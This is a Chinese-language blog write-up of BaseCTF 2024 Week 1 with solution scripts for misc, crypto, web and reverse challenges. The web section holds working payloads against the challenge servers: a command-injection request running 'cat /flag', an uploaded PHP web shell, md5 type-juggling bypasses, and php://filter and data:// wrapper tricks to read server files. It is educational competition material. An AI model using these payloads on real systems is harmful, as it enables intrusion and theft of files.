BaseCTF 2024 Week1 Writeup

BaseCTF 2024 第一周赛题的 WP,热身赛捏。

在小羽网安的公众号看到的,本来毕设已经很焦虑了,但是就是主打一个主次不分。

Misc

根本进不去啊!

1
dig -t TXT flag.basectf.fun

海上遇到了鲨鱼

复制文本然后执行以下 Python 脚本

1
print("<flag>"[::-1])

正着看还是反着看呢?

看到最后是一个 JFIF 的倒着写,执行下面的 Python 脚本将文件倒过来

1
2
3
with open("flag", 'rb') as f, open("galf.jpg", 'wb') as d:
data = f.read()
d.write(bytes(list(reversed(data))))

binwalk 查一下文件,发现 flag.txt 和一个压缩包,以为是个假的,压缩包解压出来也是,那就交了吧。

Base

后面6个等于号,大概是 Base 编码系列但是不是 Base64。分析一下编码结果,发现只有大写字母和一些数字,那么大概率是 Base32 了,解一下发现好像是 Base64,再解一下就flag了。

人生苦短,我用Python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import base64
import string
from itertools import accumulate, product

n = 38
ind = list(range(n))
flag = [' ']*n

for i, c in enumerate("BaseCTF{"):
flag[i] = c

flag[10:12] = list("Mp")

flag[-3:] = list("3x}")

flag[-1] = chr(125)

for i, ind in enumerate(accumulate([14, 2, 6, 4, 8][:-1])):
flag[i+ind] = '_'
# assert list(map(len, "".join(flag).split('_'))) == [14, 2, 6, 4, 8], str(list(map(len, "".join(flag).split('_'))))

flag[12:32:4] = list("lsT_n")

# flag[8] = 'S'
flag[8] = 's'

flag[-11] = '4'

flag[-7:-3] = list(base64.b64decode('MG1QbA==').decode())

flag[::-7] = list(bytes.fromhex("7d4372733173").decode())

# set(flag[12::11]) == {'l', 'r'}

flag[21:27] = list(bytes([116, 51, 114, 95, 84, 104]).decode())

for _c in product(string.printable, repeat=2):
_s = [flag[17], *_c]
if sum(ord(c) * 2024_08_15 ** idx for idx, c in enumerate(_s)) == 41378751114180610:
flag[17:20] = _s
break

flag[13] = '3'
flag[15] = '1'

print("".join(flag))

Crypto

ez_math

看来不是标准解,两个三角矩阵6个未知量加上 \(a, b, c, d\)flag 5个共11个未知量,矩阵是9个等式,2个乘积2个等式,可以解出 flag。用 sagemath 解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
R = matrix([[
73595299897883318809385485549070133693240974831930302408429664709375267345973630251242462442287906226820558620868020093702204534513147710406187365838820773200509683489479230005270823245,
46106113894293637419638880781044700751458754728940339402825975283562443072980134956975133603010158365617690455079648357103963721564427583836974868790823082218575195867647267322046726830,
161159443444728507357705839523372181165265338895748546250868368998015829266587881868060439602487400399254839839711192069105943123376622497847079185,
], [
13874395612510317401724273626815493897470313869776776437748145979913315379889260408106588331541371806148807844847909,
17025249852164087827929313934411832021160463738288565876371918871371314930048841650464137478757581505369909723030523,
59510107422473463833740668736202898422777415868238817665123293560097821015330,
], [
11314088133820151155755028207579196628679021106024798818326096960197933616112389017957501267749946871903275867785729,
13883500421020573457778249958402264688539607625195400103961001780695107955462968883861677871644577542226749179056659,
48528427402189936709203219516777784993195743269405968907408051071264464132448,
]])

f, x1, y1, z1, x2, y2, z2 = var("f, x1, y1, z1, x2, y2, z2")

u = matrix([[1,x1,y1], [0,1,z1], [0,0,1]])
l = matrix([[1,0,0], [x2,1,0], [y2,z2,1]])
B = u*l

t1 = [292585039548930662326103829416538145189, 293124197879399252223245955841307374193, ]
t2 = [239032610975319686124167120759414114611, 294816936919419198311047310603595242713, ]
for a, d in [t1, reversed(t1)]:
for b, c in [t2, reversed(t2)]:
A = matrix([[f,0,0], [0,a,b], [0,c,d]])
L = A*B
eqs = []
for i in range(3):
for j in range(3):
eqs.append(L[i][j] == R[i][j])
ans = solve(eqs, f, x1, y1, z1, x2, y2, z2)
if ans:
print(ans)

babypack

output.txt 太大了,直接改名为 output.py,原理尚不清楚,但是大概是因为每个比特的数字都大于低位比特数字之和,所以应该是不存在选择当前位与选择一些低位之和冲突。

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Util.number import long_to_bytes
from output import *

bits = []
cc = c
for b in a:
if cc >= b:
bits.append(1)
cc -= b
else:
bits.append(0)
print(long_to_bytes(int("".join(map(str, bits)), base=2)).decode())

babyrsa

1
2
3
4
5
6
7
8
9
10
import gmpy2
from Crypto.Util.number import long_to_bytes

n = 104183228088542215832586853960545770129432455017084922666863784677429101830081296092160577385504119992684465370064078111180392569428724567004127219404823572026223436862745730173139986492602477713885542326870467400963852118869315846751389455454901156056052615838896369328997848311481063843872424140860836988323
e = 65537
c = 82196463059676486575535008370915456813185183463924294571176174789532397479953946434034716719910791511862636560490018194366403813871056990901867869218620209108897605739690399997114809024111921392073218916312505618204406951839504667533298180440796183056408632017397568390899568498216649685642586091862054119832

d = gmpy2.invert(e, n-1)
m = pow(c, d, n)
print(long_to_bytes(m).decode())

十七倍

17 = 0b10001,高4位减去低4位得到原始的高4位,注意也许要退位。

1
2
3
4
5
6
7
8
cipher = [
98, 113, 163, 181, 115, 148, 166, 43, 9, 95,
165, 146, 79, 115, 146, 233, 112, 180, 48, 79,
65, 181, 113, 146, 46, 249, 78, 183, 79, 133,
180, 113, 146, 148, 163, 79, 78, 48, 231, 77,
]

print("".join(map(lambda c: chr(((c+0x100)-((c&0xf)<<4))&0x7f), cipher)))

helloCrypto

1
2
3
4
5
6
7
8
9
10
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

key1 = 208797759953288399620324890930572736628
key = long_to_bytes(key1)

c = b'U\xcd\xf3\xb1 r\xa1\x8e\x88\x92Sf\x8a`Sk],\xa3(i\xcd\x11\xd0D\x1edd\x16[&\x92@^\xfc\xa9(\xee\xfd\xfb\x07\x7f:\x9b\x88\xfe{\xae'
my_ass = AES.new(key=key, mode=AES.MODE_ECB)
print(unpad(my_ass.decrypt(c), AES.block_size).decode())

ez_rsa

\(\varphi(n) = (p-1)(q-1) = n - (p+q) + 1\)\(\varphi' = (p+2)(q+2) = n+2(p+q) + 4\),用 \(\varphi'\) 求出 \(p+q\) 即可求出 \(\varphi(n)\)

1
2
3
4
5
6
7
8
9
10
11
12
import gmpy2
from Crypto.Util.number import long_to_bytes

n = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790344897976690691139671461342896437428086142262969360560293350630096355947291129943172939923835317907954465556018515239228081131167407674558849860647237317421
not_phi = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790384900615665394180812810697286554008262030049280213663390855887077502992804805794388166197820395507600028816810471093163466639673142482751115353389655533205
c = 37077223015399348092851894372646658604740267343644217689655405286963638119001805842457783136228509659145024536105346167019011411567936952592106648947994192469223516127472421779354488529147931251709280386948262922098480060585438392212246591935850115718989480740299246709231437138646467532794139869741318202945
e = 65537

p_q_add = (not_phi-n-4)//2
phi = not_phi - 3*p_q_add - 3
d = gmpy2.invert(e, phi)
print(long_to_bytes(pow(c, d, n)).decode())

你会算md5吗

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from string import printable
from hashlib import md5

MAPPER = {md5(c.encode()).hexdigest(): c for c in printable}
output = [
'9d5ed678fe57bcca610140957afab571', '0cc175b9c0f1b6a831c399e269772661',
'03c7c0ace395d80182db07ae2c30f034', 'e1671797c52e15f763380b45e841ec32',
'0d61f8370cad1d412f80b84d143e1257', 'b9ece18c950afbfa6b0fdbfa4ff731d3',
'800618943025315f869e4e1f09471012', 'f95b70fdc3088560732a5ac135644506',
'0cc175b9c0f1b6a831c399e269772661', 'a87ff679a2f3e71d9181a67b7542122c',
'92eb5ffee6ae2fec3ad71c777531578f', '8fa14cdd754f91cc6554c9e71929cce7',
'a87ff679a2f3e71d9181a67b7542122c', 'eccbc87e4b5ce2fe28308fd9f2a7baf3',
'0cc175b9c0f1b6a831c399e269772661', 'e4da3b7fbbce2345d7772b0674a318d5',
'336d5ebc5436534e61d16e63ddfca327', 'eccbc87e4b5ce2fe28308fd9f2a7baf3',
'8fa14cdd754f91cc6554c9e71929cce7', '8fa14cdd754f91cc6554c9e71929cce7',
'45c48cce2e2d7fbdea1afc51c7c6ad26', '336d5ebc5436534e61d16e63ddfca327',
'a87ff679a2f3e71d9181a67b7542122c', '8f14e45fceea167a5a36dedd4bea2543',
'1679091c5a880faf6fb5e6087eb1b2dc', 'a87ff679a2f3e71d9181a67b7542122c',
'336d5ebc5436534e61d16e63ddfca327', '92eb5ffee6ae2fec3ad71c777531578f',
'8277e0910d750195b448797616e091ad', '0cc175b9c0f1b6a831c399e269772661',
'c81e728d9d4c2f636f067f89cc14862c', '336d5ebc5436534e61d16e63ddfca327',
'0cc175b9c0f1b6a831c399e269772661', '8fa14cdd754f91cc6554c9e71929cce7',
'c9f0f895fb98ab9159f51fd0297e236d', 'e1671797c52e15f763380b45e841ec32',
'e1671797c52e15f763380b45e841ec32', 'a87ff679a2f3e71d9181a67b7542122c',
'8277e0910d750195b448797616e091ad', '92eb5ffee6ae2fec3ad71c777531578f',
'45c48cce2e2d7fbdea1afc51c7c6ad26', '0cc175b9c0f1b6a831c399e269772661',
'c9f0f895fb98ab9159f51fd0297e236d', '0cc175b9c0f1b6a831c399e269772661',
'cbb184dd8e05c9709e5dcaedaa0495cf'
]
print("".join(map(lambda _md5: MAPPER[_md5], output)))

Pwn

最差的一部分,得好好补补了。这部分只做了两题,会用 nc 会用基础的 linux 命令即可,就不放在这里丢人现眼了。

Web

HTTP 是什么呀

正好练习一下 curl,最后所有都对了就是没输出,所以用 --verbose 参数看一下到底发生了什么。发现是重定向了,而且 flag 在 url 里面。

1
2
3
4
5
6
7
curl "http://challenge.basectf.fun:37388?basectf=we1c%2500me" \
--data Base=fl@g \
--cookie c00k13="i can't eat it" \
--header "User-Agent:Base" \
--header "Referer:Base" \
--header "X-Forwarded-For:127.0.0.1" \
--verbose

喵喵喵´•ﻌ•`

1
curl "http://challenge.basectf.fun:22840/?DT=system(%22cat%20/flag%22);"

md5绕过欸

1
2
curl "http://challenge.basectf.fun:35748?name=240610708&name2[]=1" \
--data "password=314282422&password2[]=2"

A Dark Room

F12

upload

写如下的脚本并上传,然后访问 http://host:port/uploads/filename.php

1
2
3
<?php
system("cat /flag");
?>

很好奇为什么不能使用 $_GET 参数来执行 system 命令

Aura 酱的礼物

感谢 Vercel 的大力支持

花了好久,最后歪门邪道搞出来了。

首先是读 $_POST['pen'] 的文件,那么直接伪协议 data://text/plain;base64,QXVyYQ== 绕过。

接着是要求 $_POST['challenge']http://jasmineaura.github.io 开头,并且从该变量获得的内容中包含指定内容,做题的时候大概有以下2点思路:

  1. 看看这个网站上有什么可以内容注入的点,比如说一般的博客在内容搜索的时候,加入内容不存在,会说 “未找到 xxx”,那不就包含了。(不知道静态网页能不能做,反正是审计的内容)
  2. strposget_file_contents 函数的漏洞绕过。

发现没什么用,有 search.js 文件但是没用,strposget_file_contents 也是弱类型绕过,这里好像没用。

忽然灵光一闪,我可以用 http://jasmineaura.github.io.bcb.pub 解析到一个服务器上,返回指定内容就好啦。因为没有备案的服务器,所以 A 解析在国内没用。正好前面搞了 CNAME 解析,看看能不能搞一个服务器,或者只要静态网页托管就行了。

服务器这方面,Vultr 至少需要充 10 USD;Google Cloud 没有信用卡不然可以白嫖。静态托管这方面,Github Page 的话不想搞乱博客(其实在 Github 上也看到了一些为了解这题创建的项目,试图 CNAME 蹭蹭但是失败),GitLab/Gitee 也都有部署/审核的麻烦。最后选择了 Vercel 的服务,可以支持 CNAME。设置一下绕过判断。

最后就是一个 php://filter/read=convert.base64-encode/resource=flag.php 带出信息。

Reverse

感谢 52pojie 的资源

You are good at IDA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int __fastcall main(int argc, const char **argv, const char **envp)
{
char var9[17]; // [rsp+27h] [rbp-9h] BYREF

_main(argc, argv, envp);
strcpy(var9, "Y0u_4Re_");
printf("This is the first part");
putchar(10);
printf("%s", var9);
putchar(10);
printf("You can shift f12 look look");
return 0;
}

int Second()
{
printf("This is the second part");
putchar(57);
putchar(48);
putchar(48);
putchar(100);
putchar(95);
putchar(52);
putchar(55);
putchar(95);
printf("Only the last part remains");
return printf("The last part is in a named Interesting's func");
}

int Interesting()
{
putchar(105);
putchar(100);
return putchar(52);
}
1
print("BaseCTF{{{}}}".format("Y0u_4Re_" + bytes([57, 48, 48, 100, 95, 52, 55, 95, 105, 100, 52]).decode()))

UPX mini

直接运行?忘了

Ez Xor

一开始没怎么看懂密钥是怎么生成的,动态调试了一下直接拿到密钥,再与数据对比分析一下才看懂,其实是数据的大小端问题。0x726F58i32 从小端开始那么是 [0x58, 0x6F, 0x72, 0x00],但是从大端开始就说不通了。想通这一点下面就都解决了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import itertools
import struct

iv = struct.pack("<i", 0x726F58)

print(bytes([c^k for c, k in zip(
itertools.chain(
struct.pack("<Q", 0x1D0B2D2625050901),
struct.pack("<Q", 0x673D491E20317A24),
struct.pack("<Q", 0x34056E2E2508504D),
b'"@;%',
),
map(lambda i: i^iv[i%3], reversed(range(28))),
)]).decode())

ez_maze

走迷宫那么必然有迷宫,Shift+F12 看到一堆 $&。数一下是225个,猜想15*15的迷宫,手动换行。看起来 & 像是路,手动替换。走路并手动走路。

验证一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import hashlib

maze = "x$$$$$$$$$$$$$$&&&&&&$$$$$$$$$&$&$$&$$&&&&&$$&$&$$$&&$$$$&$$&$$$&&&$$$$$&$$&$$$&$&&$&$$$$$&$$$&$&$$&&&$$$&&&&&$&&&&$&$$$$$$$$$&&&&&&$$$$$$$$$&$$$$$$$$$$$&&&&$$&&&$$$$$$&&&&&&&$$$$$$$$$$$$$$&$$&$$$$$$$$$$$&$&$$$$$$$$$&&&&&&&&y"
pos = 0

steps = "sssssssddddwwwddsssssssdddsssddddd"
for step in steps:
match ord(step):
case 100:
if pos%15 == 14:
exit(1)
pos += 1
case 115:
if pos > 209:
exit(1)
pos += 15
case 119:
if pos <= 14:
exit(1)
pos -= 15
case 97:
if pos%15 == 0:
exit(1)
pos -= 1
case _:
pass
if ord(maze[pos]) == 36:
break

assert ord(maze[pos]) == 121
print("BaseCTF{{{}}}".format(hashlib.md5(steps.encode()).hexdigest()))

BasePlus

其实也是没有完全看懂代码,但是看到了编码的其中一段

1
2
3
4
v17[0] = Secret[(unsigned __int8)v15 >> 2];
v17[1] = Secret[(HIBYTE(v15) >> 4) | (16 * (_BYTE)v15) & 0x30];
v17[2] = Secret[(v16 >> 6) | (4 * HIBYTE(v15)) & 0x3C];
v17[3] = Secret[v16 & 0x3F];

因为前段时间无聊,手写了一次 Base64编码,对这段位运算有点眼熟,然后看看 Secret,好像是自定义 Base64 编码集合。CyberChef 试一下发现居然是有名有姓的,叫什么Atom128。但是解码不对,看起来与原始信息差了一些,继续看代码发现还有异或,再试一下就解出来了

1
*(_BYTE *)(dst + v8) = v4[v8] ^ 0xE;

结尾

补题!做毕设!


BaseCTF 2024 Week1 Writeup
https://blog.bcb.pub/2024/08/21/ctf/basectf2024/week1/
作者
BadCodeBuilder
发布于
2024年8月21日
许可协议